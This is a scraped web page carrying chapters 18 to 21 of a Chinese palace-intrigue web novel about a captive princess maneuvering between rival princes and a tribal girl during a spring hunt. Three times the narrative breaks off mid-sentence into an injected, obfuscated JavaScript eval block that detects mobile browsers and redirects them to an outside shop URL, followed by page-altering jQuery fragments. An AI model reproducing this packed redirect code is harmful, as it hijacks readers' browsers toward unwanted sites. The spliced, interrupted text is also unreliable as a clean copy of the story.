中央的篝火大而闪耀,照亮了每一位在场的人的脸庞,甚至照亮了天空。 朱辞秋抬起头,看见一脸阴郁站在乌图勒身旁的乌玉胜,她别过头,不想看他。 王座上的乌图勒说着今年春狩分为四个狩猎场,等级不同猎物也不同,最凶险的涉猎场便是西岭,那里森林与山丘交错起伏,猎物也十分凶猛。 但只要猎得其中的三种猎物,便能在南夏王都获得一座宅邸,得到永居之权。 此话一出,众人纷纷激动难耐,口中呼喊着必胜。 朱辞秋百无聊赖地听着,她不在乎这些,身旁的少女冷着脸,紧紧抿着嘴。显然她也不在乎。 在乌图勒即将说完,周遭嘈杂的声音能盖过人声时,身旁的少女终于开口,她声音冷漠,问道:“你不怕他们杀了你?” 18. 第十八话 “他们从不需要贪生怕死之人。” 朱辞秋看着中间燃烧的篝火,清秀的面容被火光照得愈发柔和,嘴角的笑容在火光中绽放,就像开在春日中的艳丽花朵。 乌图勒讲完最后一句话,朝底下众人大手一挥。前头的男人们便立马高举右手,在发出“哟哟”的声音后,又围着中间的篝火,扎着马步跳动旋转,挥舞着双臂朝前后甩起又落下。 她忽然被守卫拉住胳膊拽了出来,少女看了她一眼便转过头,跟族人们手拉手和其他部落的女人们围成一圈,在男人们身后打着节拍,跳着轻快的舞步。 朱辞秋在被带走时,她朝王座上的乌图勒看去,乌图勒显然很享受这样的氛围,跷着二郎腿,单手支在椅子上托着下巴。娜木寒坐在他身侧,双手交叠,十分规矩地放在双膝上,脸上笑容灿烂。 乌玉胜与乌玉阙一左一右地站在王座两侧,前者脸上神情淡淡,后者却咧着嘴,露出牙齿,放肆又得意地笑着。 最后她转头,看了一眼人群中的少女。 从先前女将士告诉她的信息中,她知道这位母赫族首领的私生女性格孤僻,不常与人交谈,在母亲去世前得知自己的身世也不为所动,只窝在训练场一日又一日地练枪。 朱辞秋觉得,这样的人,是不会愿意受人摆布的。 她被带到乌玉阙的寝帐内,那两名臭脸守卫将她扔进去后便守在门外,让她切莫乱动。 大约过了半个时辰,帐外响起脚步声,守卫立正恭敬问好后,替乌玉阙掀开了帘帐。 他满目春风的走进来,坐在她对面给自己倒了一大碗羊奶酒,仰头一饮而尽。 “怀宁殿下,打探到什么了?”乌玉阙那平常凶恶的语气都带着些喜气,看起来心情极好。 朱辞秋不答反问:“少主何故如此开心?” “说起来还得感谢殿下,”乌玉阙双手抱胸,朝她挑眉,“奴营失火之事,我找了个还尸首未烧成灰的奴隶报给领主,哪知那群奴隶竟然是早前领主手下逃往别族的叛徒,这不正好又是一件功劳!” 她听后沉默一瞬,“所以,少主你说了自己是早已发现,然后暗中布局除掉了他们?” “自然!”乌玉阙笑道,“左右都要替你遮罪,不如让我以此在领主面前讨个功赏。” 蠢货。朱辞秋在心底骂了一句,面上却不动声色,只淡淡道:“少主可知,点燃火把的火折子,我从哪来的?” 乌玉阙闻言愣住,脸上的神情仿佛不理解她为何会这般问。 “我跟那些奴隶身上,怎可能会有火折子。是有人故意放其在那里的。” 乌玉阙彻底呆愣在原地,片刻后,他终于反应过来,猛地站起身抓住她的衣领,将她从椅子上拉起来,怒气冲冲道:“你的意思是有人设计我?!那你为何不早点提醒我!” 朱辞秋看着将她拎起来的男人,语气淡淡:“我让少主随便找个死了的奴隶替我背下烧奴营的罪,可没让少主自己背。” “那你为何不跟我说清楚?你故意的?” 乌玉阙伸长脖子骤然凑到她面前,陌生的热气扑在她脸上,让她不自觉皱起眉头,连声音都不耐烦几分。 “我并不知晓那些奴隶是从何处来的,怎么跟你说清楚?少主不如想想是谁故意将逃跑的奴隶搜罗到此处,诱我烧毁奴营后引你自认。” “你父亲是个独断专行的人,那些奴隶他自己都未曾寻到,今日你突然说是你寻到了,然后还让他们被烧死在奴营。你觉得他会怎么想?” “他会觉得少主你,刚得到一点甜头便为所欲为,不将他放在眼里。” 她说完最后一句话,趁乌玉阙愣神时,皱着眉甩开他的手,心中对他的厌恶更深。 她是怀疑有人故意将火折子放在奴营,在不知目的的情况下她本不该轻举妄动,但她也不愿留下一群祸根,自然是烧了干净。 “定是乌玉胜!” “不是他。” 朱辞秋几乎下意识地反驳,见乌玉阙皱起眉头脸色阴狠,眼神如刀片般刮在她身上,但她只是淡淡继续道:“他没有这么无聊。” 乌玉阙冷哼一声,讥讽道:“不是他还能是谁?!他就是看我分走他的权力,对我怀恨在心!让我在父亲面前出丑!” 朱辞秋不知怎的,忽然想起娜依莎,她抬起头看向一脸愤怒的乌玉阙,不经意问道:“少主,你妻子呢?” 乌玉阙脸僵了一瞬,极其不自然地说了句,“她不住此处。” 早前,乌玉阙拿出回转丹时,她曾以为是娜依莎给他的,而当时她忘记娜木寒这个人的存在。乌玉阙的母亲也是巫族人。 娜依莎这个人对于她来说,太过神秘了。 但乌玉阙这个反应,只能说明他们私底下,相处得并不算好。 “你问这个做什么?”乌玉阙一脸警惕。 “只是好奇罢了。”朱辞秋随口回答,暂时不再深究谁在暗中搞鬼,她看向乌玉阙,说起正事,“母赫族之事,我已有办法。” 听到此事,乌玉阙脸上怒气稍减,点了点头示意她继续往下说。 “三日后,少主让我以奴隶诱饵的身份,到春狩之地去。” “为什么?” “自然是接近母赫族,找到那名女子,让她为我们所用。”朱辞秋道,“这样少主便能通过她监视母赫族,而非他们监视你。” “你怎么让她,为我们所用?” 她微微一笑:“当她与我们有共同利益时,自然能为我们所用。” 乌玉阙冷着脸,“你到底什么意思?” “意思就是,我会找到这个女人的弱点,然后利用弱点,设计她。”朱辞秋顿了顿,“少主只需要让我能顺利进入春狩之地。” “你说得轻巧,那些奴隶都是各族自己带的,我们王族的奴隶也全是乌玉胜挑的。他能让我将你放进去?”乌玉阙冷哼一声。 朱辞秋却笑道:“我相信你们族人对我的厌恶。” “少主只需开这个话头即可,自有人替你继续争论此事。” 乌玉阙意外地看了她一眼,冷着脸不说话,最后嘲讽一笑,“殿下真是对自己,认知明确。” 朱辞秋笑了笑,转头看向门口,淡淡道:“时候不早了,送我回去吧。” 乌玉阙沉默一瞬,摆了摆手,朝外喊了一句:“带她回去!” 她刚踏出去营帐,就看见站在路中央望着她的乌玉胜。 想必是宴会才结束不久,营帐与营帐之间灯火通明,人也来来往往的不算少,他们一面走着一面看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438445|141496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向她与乌玉胜,又在看见她是从乌玉阙帐内出来后,不少人都开始窃窃私语。 朱辞秋只看了一眼乌玉胜,便将视线移开,正巧看见了从远处而来的少女。 少女被她的族人围在中间,只侧着头看向这个方向,没看几眼便被族人挡住视线,往自己营帐所去。 这个乌玉阙,选的营帐真是个好地方。 朱辞秋在心底腹诽一句,不再关注乌玉胜与其他人,被乌玉阙的亲兵裹挟着,往原先乌玉胜给她安排的营帐所去。 乌玉胜有没有跟上来,她不知道。 她刚踏入这个小小营帐内,那两名乌玉阙的亲兵将她送回去后便立马走了,似乎多待一刻都决定晦气。 待人走远后,她掀开帘帐,朝外走了两步,没有任何人出来阻拦她。她默不作声地继续朝前走,余光撇向一侧火把未照亮的黑暗之地。 直到她走到三丈之外,从黑暗中立马射出一支云箭,直直插入她面前的地下,意在阻挠她继续前行。 她停下脚步,站在原地片刻,便转身往回走。 然而刚走一步,她便听见身后传来熟悉的脚步声,但仍头也不抬地往回走。 乌玉胜跟在她身后也入了内。 “殿下。”乌玉胜声音沙哑,极其轻地喊了她一声,随后声音渐大,又像是在隐忍着什么,“今日是第二次入乌玉阙帐内了。” 朱辞秋背对着他,充耳不闻。 周遭气氛愈发压抑沉寂,只能听见二人的呼吸声。 “我与小少主,并无事可聊。”她终于转过身,抬眼看他一瞬,回过身坐在椅子上。 乌玉胜站在她面前,低着头。俊秀的面庞被阴影遮挡,显得他更面色可怖,但执拗的语气却像小孩子耍脾气,“你是我的妻。” 朱辞秋笑了一声,“我不是小少主的奴隶吗?” “不论妻还是奴隶,殿下都是我的人。” “那少主大可在知道我入乌玉阙帐内时,就该将我捆住扔回此处。”朱辞秋抬起头,对上他偏执的双眼,“所以,你为何不这般做?” “因为你的人本该将我送回这里,却被其他人截胡了,对吗?” 乌玉胜看着她,沉默不语。 她冷冷地看着他,问道:“那个人是谁?” 乌玉胜不答,只是忽然半跪在地上,伸出手臂,一把揽过她,大手在她身后摸索着。 她本想躲过,却被乌玉胜的另一只手禁锢住腰,让她不得动弹。他将她藏在身后腰封处的小刀抽了出来。 朱辞秋伸手想要抢夺,但乌玉胜却将小刀迅速揣在自己怀中,他捂住衣口,凑到她耳侧轻声道:“尖锐之物太过危险,殿下不宜戴在身上。” “不论殿下跟乌玉阙商量了什么,殿下这段日子都出不去。” 她冷眼瞧着他,又瞥了眼仍放在她腰间的宽大手掌,道:“拿到了就放手。” 乌玉胜缓缓放开她,站起身。但却不往外走去,而是坐在床榻之上。 “今夜,我要睡这里。” “以后,我也会跟殿下同吃同住。不会让殿下再脱离我的视线,也不会让殿下与乌玉阙有任何接触。” 朱辞秋气笑了,她站起来转过身,用手指着帘帐,缓缓吐出三个字:“滚出去。” 19. 第十九话 乌玉胜双腿交叠,双手抵在床边,抬着下巴看向她。分明是带有些仰视她的姿势,但眼皮却只抬起一半,微露出眼底的阴沉,显得整个人散漫又危险。 他薄唇轻启,缓缓吐出两个字:“不滚。” 朱辞秋站在原地,冷冷地看着乌玉胜。 过了会,她才缓缓道:“小少主既已在附近布了暗卫,又何必亲自守着我。” “殿下实在太过狡猾,”乌玉胜顿了顿,似乎是见她仍站在原地,便皱着眉站起身走向她,“如今得将殿下时时刻刻都放在我身侧,我才能安心。” 她沉默一瞬,笑了下:“随便你。” 然后她便不说话了,只冷淡地瞧了对面男人一眼,与他擦肩而过,朝他刚离开的床榻走去。 她弯腰抱起一床被褥,扔向旁边的空地处,然后用下巴指了指散落在地上的被褥,说出的话不带任何感情,“只是少主以后可没床睡。” 说罢,便不再管乌玉胜,只自顾自地躺在床上闭眼假寐。 不知过了多久,她忽然听见乌玉胜渐渐走近的声音,睫毛随着响起的脚步声颤了颤,眉头也不自觉轻皱一下。 似乎是因为帐内十分安静,她的五感都被放大,连乌玉胜蹲下身时,衣袖摩擦的轻微声音,都感觉如夏日惊雷般响彻耳中。 甚至能清楚地闻到因为乌玉胜这样突如其来的动作,身旁突来的那带着皂角清香的微风。 只一瞬,便消失不见。但随之而来的,是他身上熟悉的热气。 乌玉胜凑到她耳边,呼吸声在她耳边炸开,让她情不自禁又颤了颤睫毛,交叠在腹部处的双手也不自觉捏紧。 “不准装睡。” “又想吃巴掌?” 两句话几乎同时响起,让两人都不约而同地愣住一瞬。 片刻后,朱辞秋率先侧过身子,却感觉到身旁的床榻往下凹陷一下,是乌玉胜坐在了她身旁。他没有发出任何声音,就只是静静地坐着。 感受到身后盯着她的那股视线一直未曾离开,而属于乌玉胜的熟悉气息也仍旧围绕在她身侧。虽然很讨厌那股视线,但却也格外安心。 只是半梦半醒间,床榻的凹陷似乎消失了,那股视线与熟悉的皂角清香也不在身侧停留。她翻了个身,半睁开一只眼睛,看见乌玉胜自顾自地将被褥铺在地上,然后便闷头钻了进去。 当他侧过身面朝她时,她重新闭上眼,装作熟睡的模样。 乌玉胜大概知道她并未完全睡着,不知是有意还是无意的,轻声说出一句话来:“殿下,好梦。” 就像是年少时,他与她话完家常,说完外头的新鲜事后,月亮繁星倒映在池塘之上,照得池水波光粼粼。月色皎洁之下,少年将军在咧着嘴,笑得爽朗又憨厚,朝她摆手又大声说:“殿下,好梦!” 朱辞秋睁开眼,看着睡梦中的乌玉胜面容变得柔和不再有攻击力与阴郁,与自己记忆中的少年渐渐重叠。 是她亲手杀死了穆雨生。 可她从不后悔。 也许是想起了当年的乌玉胜,也许是因为他睡前的那句好梦,虽说没做梦,倒也睡了个好觉。 等她睁眼时,乌玉胜已经收拾齐整坐在桌边,正认真地擦着自己的佩刀。 听见她起身的动静后,便站起身往外走,待走至门口时,给她指了指一旁衣架子上的衣衫与下面摆放的洗漱用具,淡淡道:“收拾好,带你出去。” 朱辞秋坐在床边,罕见地一愣。 她原以为,乌玉胜只是吃睡与她同行,平日里外出与公事都不会带上她。 乌玉胜看着她有些愣怔的神情,似乎觉得新奇,扯了扯嘴角,道:“昨夜说了我会与殿下同吃同住,难道殿下忘了?” 她回过神,没有理会乌玉胜,只是自顾自地穿好鞋袜下了床。 等乌玉胜出去后便将架子上衣衫换上,洗漱好后又将原先衣物里头的销魂散与那云岭山的地图藏在如今衣袖之下,在确保不会被人发现后便走至门口掀开了帘帐。 门口只有乌玉胜一人。 “你要带我去春狩之地?”朱辞秋跟在他身后,突然开口问道,“你就不怕我使坏?” “这段时日,我总算想明白了。”乌玉胜微微侧头看了她一眼,又回过头继续往前走,“将殿下放在我眼皮子底下,是最容易控制殿下的办法。” 她冷嘲一声:“你闲得慌?” 乌玉胜并不回答,只是将步子加快,朱辞秋也只能默默跟在他身后。 春狩之地并不远,他们很快便到了那个地方,但其实那只是个让众人集合的地方。 赤格鲁草原非常大,他们如今所处的地方只不过是冰山一角。而春狩的狩猎场是分散在各个不同的地界,昨日听乌图勒所言,狩猎场分东南西北四个岭,西岭是最凶险的地界,但奖赏也最为丰厚。 南夏的王都是唯一一处跟大雍的相似之地,那里曾是一座几百年前被中原废弃的大型城镇,在乌图勒上位后命无数奴隶与工匠建造修葺,终于将它恢复了原样。 南夏人因环境而选择草原群居,但乌图勒却为他们建起一座豪华如中原之地般的城镇,这也是部分部落愿意支持乌图勒的原因。 但城镇就算再大,也容纳不了所有南夏人,因此乌图勒选择自己族人率先入住,其次便是其他效忠于他的部落首领与商户,最后再是那些普通牧民。 对于南夏人来说,在王都有一处属于自己的住所,就相当于大雍人在燕京打下属于自己的一番天地,得到了王族的认可,金钱与地位都会飞跃于普通百姓之上。 所以,今年春狩西岭的奖励,对有野心的人来说,是有足够诱惑与吸引力的。 思及此处,她待在乌玉胜身后时,悄然看向场上密密麻麻的人群,他们现下基本只是轻装上阵,只带着弓弩与其他便携带的武器。 视线寻找到母赫族的族人是略微停顿一瞬,便又移开。 身后传来马蹄声,朱辞秋与众人皆回头望去,乌图勒骑在马上立于为首,乌玉阙跟在他身后,看见她的一瞬间,眼中充满震惊。 今日她本不该出现在这里,三日后才是各族奴隶诱饵入狩猎场的日子。 但此场景却由不得她与乌玉阙暗中密信,而一旁的乌玉胜也不知为何忽然拽住她的手腕,将她彻底挡在他身后,隔绝了乌玉阙与她对视的视线。 乌图勒并未下马,只是停在原地,两旁的守卫分散整齐站开,当他们手中的号角被吹响后,场上的气氛骤然变得活跃起来。 半刻钟后,响彻天地的号角声停了下来,乌图勒朝他们伸手示意,道:“昨日我已说明今年春狩狩猎场之地,诸位勇士皆可前往。我在此便不多说了,祝各位勇士们,取得成功!祝我南夏,繁荣昌盛!” 话音未落,场上所有人都高举着手,呼喊着“繁荣昌盛!” 热场过后,乌图勒这才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她回过头听见这话,觉得很好笑,“小少主你是第一天知道我跟乌玉阙有合作?难不成要我跟你眉目传情?” 乌玉胜停下来,转头看着她:“为何不可?” 朱辞秋一愣。 “你吃错药了?” 乌玉胜估计也觉得自己吃错药了,手下的力道越发大了起来,将她手腕掐得紧紧的,让她吃痛。 “想让我旧伤复发就直说。”她抬起被掐着手腕的胳膊,淡淡道。 乌玉胜冷眼瞧着她,手下力道却缓下来。 他拽着她,快速回到了寝帐。只不过是回到的是乌玉胜那个大寝帐,里头居然被劈成两个地盘,朱辞秋被蒙着纱布的简陋屏风围在里间关着,乌玉胜在外间办公与休息。 当日下午,她便看见乌玉胜的亲兵抬着一架木床放在了外间,铺上被褥后才离去。 她隔着屏风看见这一幕,又看向对面坐在桌边奋笔疾书的乌玉胜。 “你以后有床睡了。” 乌玉胜手下的笔一顿,回道:“我不该有床睡?” 朱辞秋没说话,乌玉胜也没有说话,帐内只剩下屏风外翻动纸张与守卫偶尔进出的声音。 期间朱辞秋觉得太过无聊,找乌玉胜要了两张纸笔,在上头有一笔没一笔的画着画,两人互不打扰的日子持续到了第三日。 第三日,乌玉阙领人在帐外大声叫喊,让她出去。 20. 第二十话(作话有七夕小剧场) 乌玉胜听见外头的动静后,放下手中的竹简,偏过头看向屏风内老神在在的朱辞秋。 她感觉到来自外间的视线,用笔在纸上涂抹着什么的动作停顿下来,抬眼看去。 视线隔着屏风在空中交汇,让两人脸上的情绪都朦胧又模糊,看不真切。 她并未与他对视多久,听见外头乌玉阙的人似乎要冲进来时,放下手中的笔,坐直身子看向门口。 乌玉胜走至门口停顿一瞬,随即便猛地掀开帘帐一脚跨了出去。 待帘帐重新合上后,朱辞秋立马侧起耳朵仔细听着外头的声音。 乌玉胜声音太小,她有些听不清。但乌玉阙说出的话她听得一清二楚。 他说出口的话中还带着恶劣的笑声尾音,“我可是受领主之意过来请怀宁殿下相助春狩之事,王弟难不成还想阻拦我?” 不知道乌玉胜说了什么,她只略微听见她的名字与“不配”二字。 但乌玉阙的嗓音忽然更大声:“你若有异议,大可亲自去找领主,今日她我必须带走!” “让开!” 朱辞秋站起身,靠在屏风处,又从屏风与墙壁的缝隙中钻了出去。 帐外的乌玉胜似乎没让,她刚钻出去便听见一阵整齐的脚步声在外头站定,随后便是刀剑出鞘的声音。 帘帐并未管严,被风掀起一角,乌玉胜站挺立入松般的背影映入她眼帘一瞬,像铁了心般不让她出去。 她停在门口看了会,见外头仍旧毫无动静,便钻回屏风内,将桌上那两张被她涂抹得不成样子的纸叠好揣在怀中,又钻出屏风走至门口。 “进去。” 刚掀起帘帐,乌玉胜便伸出手挡在她前面,偏头恶狠道。 朱辞秋并不理他,她抬着头看向对面朝乌玉胜怒目而视的乌玉阙,笑道:“我愿与大少主同去。” 乌玉胜挡在她面前的手明显抖了下,他侧头阴沉地看向她,“你知道你在说什么吗,殿下?” 她按住他挡在跟前的手,眼神却锁定在乌玉阙身上,对面的乌玉阙接收到她的视线后,便抬手立马让离得最近的守卫上前,却仍被乌玉胜的亲兵挡住。 两队人就这般僵持着,最后她走近面前男人一步,看向他深棕色的眼眸,用只有两个人听见的声音说道:“小少主若想引来乌图勒,大可一直阻止下去。” 乌玉胜神情似乎茫然一刻,但立马恢复正常,他缓缓放下手,朝朱辞秋勾起嘴角。 分明是笑着的模样,但眼神却可怖无比。 乌玉阙见她走出乌玉胜亲兵包围之地,便立马让人跟在她身后,带着她迅速往春狩之地所去。 等走远后,朱辞秋才在乌玉阙身后问:“少主,你跟领主怎么说的?” 乌玉阙回头望了一眼,一面继续朝前走一面道:“说王族的奴隶不够,刚好乌玉胜身边有个混吃等死的你,就这样。” “你说的时候,领主身旁可还有其他人在?” “有几个其他部落的首领在,”乌玉阙顿了顿,“他们都十分赞同此事。” 朱辞秋快步走在乌玉阙身侧,又问:“几日前少主曾去查探巫族首领之事,不知那位首领如今在何处?” 乌玉阙疑惑般看了她一眼,反问道:“你问这做什么?” “只不过忽然想起我从未见过他,有些好奇罢了。” “巫族长老说他在来的路上得了病,怕传染给领主就先回巫族去了。” 她点点头,又突然在乌玉阙面前伸出手。 “做什么?” 乌玉阙停在原地,握紧佩刀。 “解药。” “这还没到一个月呢!” “我入狩猎场不知要耽误多久,若真待到一个月后,少主不给我解药,难道要我毒发死在里面?” 乌玉阙不知为何,竟有些迟疑。 于是她又道:“母赫族在南夏,算是一股不小的势力,若将他们收入麾下,想必领主也会对少主刮目相看,那踢乌玉胜下台,也指日可待。况且,回转丹毒一直在我身上,少主在担忧什么?” 面前的男人仍然有些迟疑,但过了半晌,他便从怀中掏出一个与先前一模一样的小瓶子,递给她的一瞬间又收了回去。 他面露恶毒,恶劣地抽出佩刀挑起她的下巴,让她与他对视,“若母赫族未归顺于我,殿下可就要多吃点苦头了。” 朱辞秋并未感到威胁,甚至展颜一笑,“我想做的事,从未失败过。” 乌玉阙闻言愣了下,他放下佩刀重新插回刀鞘,又将手中解药扔到她手中。 待到了春狩之地,她便看见那里已经站着许多奴隶,他们背着背囊,站在各族参加狩猎的人身后。 朱辞秋站在乌玉阙身后,眼神瞥向母赫族。少女面无表情地站在中间,身上背着一支长枪。 此刻没有人关注谁又到了场上,只是在等自己的族人与奴隶到齐后,三三两两做一群分散开,前往不同的狩猎场。但更多人,是往西岭而去。 前三日,是让他们独自前去探查各个狩猎场的情况如何,若有惧怕的没有信心的,可主动退出。今日,才是真正开始的日子。 待人都走得差不多后,乌玉阙便开始命身后的那群守卫守在此地。此处是中心地带,若有狩猎场中的人发出信号弹便会立马发现,好随时能看见四周的异状。 乌玉阙吩咐好一切后看向朱辞秋,道:“殿下看清母赫族往何处去了?” “西岭。”她抬起头,“所以,我要一把刀。” “我可不想死在野物口中。” 乌玉阙沉默着看了她半晌,最后从身后亲兵的腰间拿下一把狼刀,递给她。 他指着一个方向,笑道:“祝殿下好运。” 朱辞秋也笑了下,接过狼刀,头也不回地走向西岭,但胸前握住狼刀的手,却在轻轻颤抖。 西岭离中心地带有段不短的距离,只要越靠近西岭,地势便越陡,仿佛入了山中般。 山坡越来越多,不知名的大树、树丛与落石也越来越多,朱辞秋许久未走过长路,脚底已经走得有些酸胀,但日头渐渐下去,她不能有一丝一毫的停留。 身上的衣衫被汗水浸湿,额间密密麻麻的汗珠滴在脸颊,掉落在地上,双腿的酸痛让她都有些直不起腰,心中想着早知道找乌玉阙要一匹马了。 她至今都未看到一个人影,也不知是不是她腿脚太慢,才错过了与去西岭狩猎的众人的相遇。 漫天空旷中,就好像这世间只有她一人般。 在终于看见茂密丛林的入口时,夕阳都已快彻底被月色所替代。朱辞秋越靠近西岭,心跳得越发快,握着狼刀的手越发用力,心中的紧张已经让她忽视了右手手掌的痛。 怎么可能不害怕,她现下能傍身的只有一包迷药与一把狼刀。 她站在西岭丛林口,看着里面透不出一丝光亮的黑暗,脚步停顿一瞬。随后便攥紧狼刀,继续朝里走去。 里面的大路有许多人走过的痕迹,她便一步一步顺着那些痕迹朝前走,除了光线较暗外,前面的路倒是没什么阻碍,甚至连一丝血腥气都未曾闻到。 越往前走,周遭的树丛与茂密的大树越多,空气中弥漫着阴冷又潮湿的气息,吹在她身上的风卷起干涸的汗渍,让她不自觉打了个寒颤。 她不知走了多久,人影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438447|141496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与野物都未看见一个,而此时却忽然闻到一丝血腥气,这让她猛然停下脚步,十分警惕地环顾四周,手中的狼刀被拔出鞘,半举在空中。 身后的树丛突然窸窸窣窣地发出声音,是树叶抖落在地,也有人身上的衣衫擦过树丛发出的摩擦声。 朱辞秋骤然转身,缓缓靠近树丛。 却见走出来的人是那名母赫族少女。她身上沾满鲜血,将长枪立在手中,上头的血渍还未干涸,正一直往下滴。 二人就这样对视一眼,然后沉默半晌。 “你走得真慢。” 少女声音冰冷,撕下一角衣料擦了擦长枪。 朱辞秋收起狼刀,微微一笑:“你也不快。” 少女淡淡看了她一眼,不再理她,只自顾自地朝前走。她跟在她身后,亦沉默地走着。 路中的血腥气越发浓重,让她不自觉地皱起眉头,脚下步伐加快凑近少女。 天色日渐昏暗,前方的路已经逐渐模糊看不清,少女左右环顾一下,往右边较为空旷的地方所去,她也迅速跟上。 好在一路上枯枝与石块较多,她跟在少女身后拾起一些干燥的枯枝放在一旁的地上,然后便坐在石头上看少女搭起一个简易的生火之地。 朱辞秋看少女将枯枝一根一根对折放在被石头围起来的里侧,又从怀中拿出火折子,火光立马跃然于空中,照亮少女稚嫩的脸庞。她忽然开口,“你叫什么?” 少女用火折子点着枯枝的手顿了一下,她看着渐渐被点燃的枯枝。燃起来的暖和的火堆,火星子扑腾在空中,发出噼里啪啦的轻微燃烧声。 “不如你先告诉我,你为何要在篝火会闹那一场。” “我要找你。” 朱辞秋很自然又迅速地说出这四个字,像是早就预料好的一般,她侧头看向少女,又道,“去年被俘的四名女将士,已在大雍隐姓埋名重新活了下去。” 少女一愣,注视着她的眼睛,“你没杀她们?” 她笑了笑,笑容在火光中愈发艳丽:“我对女人,向来比对男人仁慈。” “这与你找我有何干系?” “我知道你的身份,也知道母赫族首领的野心。”朱辞秋看着火堆,伸出手感受着温暖,“那夜的吵闹,只是想确认你到底长什么样,也想知道你的脾性是否如我所愿。我找你,是想跟你合作。” “所以,你可以告诉我你叫什么了吧?” 少女沉默半刻,道:“阿静雅。”她顿了顿,又问:“你要与我合作什么?” “我回答了你的问题,还向你提供了昔日故人的情报。”朱辞秋将衣衫拢紧,轻声道,“所以,你先告诉我,你跟在巫族人身后,是要做什么?” 阿静雅沉默不语。 于是她继续道:“母赫与巫族,是南夏除却王族外,最鼎盛的两个部落族,势力算是旗鼓相当,你如今出现在此地,无非只两种。” 她看向身旁沉默的阿静雅,用枯枝在地上画了个一,“刺杀巫族,嫁祸王族,让王族与巫族彻底分崩离析。” 接着又画了个二,“与巫族合作,推翻王族,重新立王。” 阿静雅看着地上的字,又抬起头,看向一旁面色淡淡的朱辞秋,有些错愕。 最终,阿静雅坐在原地,手中的枯枝扒拉着火堆,空中蹦出更多火星子,“巫族与我们离得很近,所以他们知道巫族首领最近似乎一直在西岭附近活动,他们想让我找到他,不论用什么办法,让我成为他的人。” “他们赌,巫族首领会舍弃乌玉阙去争夺王位。” “我有第二条路。”朱辞秋缓缓道,“这条路,可助让你坐上首领之位。” 21. 第二十一话 阿静雅惊愕地看向她。 忽然一阵风吹过两旁的树叶,在周围响起轻微又频繁的沙沙声,面前升起来的火也被吹得在空中摇摆几下,朱辞秋侧头注视着阿静雅,微笑着的脸颊在跳动的火光中忽明忽暗。 “你——”阿静雅直起腰,扔掉了手中的枯枝,朝她挑眉,语气不明地继续说出下文,“你一介阶下囚,口气还挺大。自己都自身难保,还想让我信你?” 她笑了笑,伸手将被风吹起的碎发拢到耳后,淡淡道:“我在观察你的时候,你也在观察我。” 视线在黑暗中唯一有着光亮的地方交汇,好像谁都能将对方看穿。 阿静雅率先移开脸,盯着火堆沉默一刻,冷淡开口:“我只不过是好奇,你究竟想做什么。” 朱辞秋并未立刻回答,而是左右打量了一下,发现右侧有棵粗壮的树干,便站起来将身下的石头搬到树干处,重新坐下后靠在树干上寻了个舒服的位置,才缓缓开口:“自然是助乌玉阙登上王位。” 空气凝固一瞬,阿静雅再次扭头看向她,双眼略微睁大,嘴角也颤抖了下,似乎觉得不可思议。 良久,她听见阿静雅略带着疑惑又震惊的口吻问她:“你真喜欢上他了?” “……” 朱辞秋有点无语,她双手抱胸,抬起眼皮看见阿静雅的模样又觉得好笑,“你们南夏人脑子里装的都是情爱?” 阿静雅闻言,皱了下眉,“那你为何帮他?他身后是有巫族不错,但谁人不知巫族首领并不喜他,就算现在没有反水,日后也必定会反水。” “乌图勒如今还没老到什么都察觉不到的时候。”她扬起头,从头顶茂密葱郁的树叶错落缝隙间,看见月亮的边缘,但很快又被阴云笼罩住。 “我如今所做的一切,都在他的默许之下。” “就算如此,他也老了,已不复当年勇猛果断。如今大雍已败,他再也没有理由牵动所有南夏族人为他所用,他乃至他的族人,都在王位高处上待得太久了。” “可王军数十万众,如今仍所向披靡。母赫与巫族加起来能战的兵将,有无五万之众?” “王族小少主,是如今最受族人崇敬的人。我族助他,比助乌玉阙来的希望要大。况且他手中的两万士兵,也并不是吃素的。” 朱辞秋看着阿静雅沉默一瞬,摇了摇头,“乌图勒不会让乌玉胜登上王位。” 阿静雅反问:“你怎知他不会?” “乌图勒四处征战二十余年,不过是想摸到大雍燕京的那处王座,成为天下之首。他如今还没有做到,身边便有势头强过他之人,这个人还是半个大雍人,你觉得,他会甘心下位?你们又有几成把握将这个半辈子都埋在沙场上的领主打下王座?” 阿静雅垂下眼,四周又只剩下微微风声与枯枝燃烧的噼里啪啦声。 两国偏见,早已根深蒂固。唯有互相牵扯的利益与困境才会让双方短暂和平,如今些微困境消散,乌玉胜又占得利益的大头,就像是棋盘上只差一招便能制胜的棋局。 乌图勒的心底早已忌惮这个比他年轻时更有魄力与手段,由异族女人生下来的儿子。 可她心底始终有个疑问,为什么乌纳兰会是乌图勒最宠爱的小女儿,是因为那是他唯一的女儿吗?还是因为乌纳兰并不会威胁到他? 